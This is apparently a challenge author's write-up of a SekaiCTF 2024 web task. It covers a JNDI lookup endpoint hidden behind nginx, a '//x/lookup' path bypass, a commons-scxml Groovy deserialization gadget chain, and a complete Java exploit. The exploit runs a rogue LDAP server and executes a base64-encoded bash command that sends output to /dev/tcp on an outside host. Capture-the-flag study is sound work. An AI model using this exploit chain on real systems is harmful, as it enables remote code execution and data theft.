A challenge I authored for SekaiCTF 2024.
Setup
The /lookup endpoint takes a query parameter and passes it directly to javax.naming.InitialContext#lookup.
import com.sun.net.httpserver.HttpServer;
import javax.naming.InitialContext;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
server.createContext("/", req -> {
var code = 200;
var response = switch (req.getRequestURI().getPath()) {
case "/lookup" -> {
try {
var param = req.getRequestURI().getQuery();
yield new InitialContext().lookup(param).toString();
} catch (Throwable e) {
e.printStackTrace();
yield ":(";
}
}
default -> {
code = 404;
yield "Not found";
}
};
req.sendResponseHeaders(code, 0);
var os = req.getResponseBody();
os.write(response.getBytes());
os.close();
});
server.start();
System.out.printf("Server listening on :%s\n", port);
}
}
The following nginx config blocks direct access to the lookup endpoint:
http
{
server
{
listen 1337;
location = /lookup
{
deny all;
}
location = /lookup/
{
deny all;
}
location /
{
proxy_pass http://localhost:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Nginx bypass
Taking a look at the implementation of com.sun.net.httpserver.HttpServer, we see that it passes the request path to new URI(input).getPath().
Because new URI("//x/lookup").getPath() == "/lookup", we can bypass the controls: nginx sees the raw path //x/lookup which doesn’t match the exact location blocks = /lookup or = /lookup/, so it proxies the request. The Java server parses the URI and dispatches to /lookup, passing our input to javax.naming.InitialContext#lookup.
Since openjdk-17 is used, we can trigger deserialization through the JNDI lookup. VersionHelper.java reads the com.sun.jndi.ldap.object.trustSerialData system property, defaulting to "true", which allows Obj.java to deserialize the javaSerializedData attribute from our LDAP response.
Gadget chain: GroovyExtendableScriptCache
The Dockerfile gives a hint where to look at: commons-scxml:
FROM maven:3.8.4-openjdk-17-slim AS build
WORKDIR /app
RUN apt-get update && apt-get install -y git
RUN git clone https://github.com/apache/commons-scxml.git && \
cd commons-scxml && \
mvn clean package shade:shade -DskipTests
FROM openjdk:17-slim
RUN apt-get update && apt-get install -y nginx
WORKDIR /app
COPY --from=build /app/commons-scxml/target/commons-scxml2-2.0-SNAPSHOT.jar /app/commons-scxml2-2.0-SNAPSHOT.jar
COPY src ./src
COPY ./flag/flag /
RUN chmod 001 /flag
COPY nginx.conf /etc/nginx/nginx.conf
COPY --chmod=005 entrypoint.sh /entrypoint.sh
RUN chown -R www-data:www-data /var/lib/nginx
USER www-data
CMD ["/entrypoint.sh"]
The commons-scxml library is relatively small, and there are only a few potential entry points for constructing a gadget chain.
To achieve code execution, the idea was to find the gadget in GroovyExtendableScriptCache:
private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
ensureInitializedOrReloaded();
}
// ...
protected void ensureInitializedOrReloaded() {
if (groovyClassLoader == null) {
compilerConfiguration = new CompilerConfiguration(getCompilerConfigurationFactory().getCompilerConfiguration());
if (getScriptBaseClass() != null) {
compilerConfiguration.setScriptBaseClass(getScriptBaseClass());
}
groovyClassLoader = AccessController.doPrivileged((PrivilegedAction<GroovyClassLoader>)
() -> new GroovyClassLoader(getParentClassLoaderFactory().getClassLoader(), compilerConfiguration));
if (!scriptCache.isEmpty()) {
// de-serialized: need to re-generate all previously compiled scripts (this can cause a hick-up...):
for (final ScriptCacheElement element : scriptCache.keySet()) {
element.setScriptClass(compileScript(element.getBaseClass(), element.getScriptSource(), element.getScriptName()));
}
}
}
}
// ...
protected Class<Script> compileScript(final String scriptBaseClass, final String scriptSource, final String scriptName) {
final String script = preProcessScript(scriptSource);
final GroovyCodeSource codeSource = AccessController.doPrivileged((PrivilegedAction<GroovyCodeSource>)
() -> new GroovyCodeSource(script, scriptName, getScriptCodeBase()));
final String currentScriptBaseClass = compilerConfiguration.getScriptBaseClass();
try {
if (scriptBaseClass != null) {
compilerConfiguration.setScriptBaseClass(scriptBaseClass);
}
return groovyClassLoader.parseClass(codeSource, false);
}
finally {
compilerConfiguration.setScriptBaseClass(currentScriptBaseClass);
}
}
groovy.lang.GroovyClassLoader.parseClass() is a known sink; exploitation is described in detail in this post by Orange Tsai.
Exploit
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.scxml2.env.groovy.GroovyExtendableScriptCache;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Exp implements Runnable {
static String bashCmd = "/flag > /dev/tcp/<ip>/9003";
static String cmd = "bash -c {echo," + Base64.getEncoder()
.encodeToString(bashCmd.getBytes(StandardCharsets.UTF_8)) + "}|{base64,-d}|{bash,-i}";
static String baseUrl = "https://lookup-jvcwtkoto2v1.chals.sekai.team";
static int ldapPort = 9000;
static String ldapRef = String.format("ldap://local:%d/exp", ldapPort);
static String payloadUrl = String.format("%s//x/lookup?%s", baseUrl, ldapRef);
public static void main(final String[] args) throws Exception {
Exp ldapRS = new Exp();
new Thread(ldapRS).start();
Thread.sleep(1000);
httpGet(payloadUrl);
}
private static byte[] getPayload() throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objStream = new ObjectOutputStream(byteArrayOutputStream);
GroovyExtendableScriptCache ges = new GroovyExtendableScriptCache();
var pl = String.format(
"@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"%s\")})\ndef x\n",
cmd);
System.out.printf("Sending %s\n", pl);
ges.getScript(pl);
objStream.writeObject(ges);
objStream.close();
return byteArrayOutputStream.toByteArray();
}
public static void httpGet(String urlStr) throws Exception {
URL url = new URL(urlStr);
System.out.printf("http: %s\n", url);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
}
@Override
public void run() {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=sekai,dc=ctf");
config.setListenerConfigs(new InMemoryListenerConfig("listen",
InetAddress.getByName("0.0.0.0"),
ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new InMemoryOperationInterceptor() {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
try {
String base = result.getRequest().getBaseDN();
System.out.printf("Incoming base=%s, sending payload\n", base);
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "");
entry.addAttribute("javaSerializedData", getPayload());
entry.addAttribute("javaCodeBase", "");
entry.addAttribute("objectClass", "javaNamingReference");
entry.addAttribute("javaFactory", "");
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
});
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}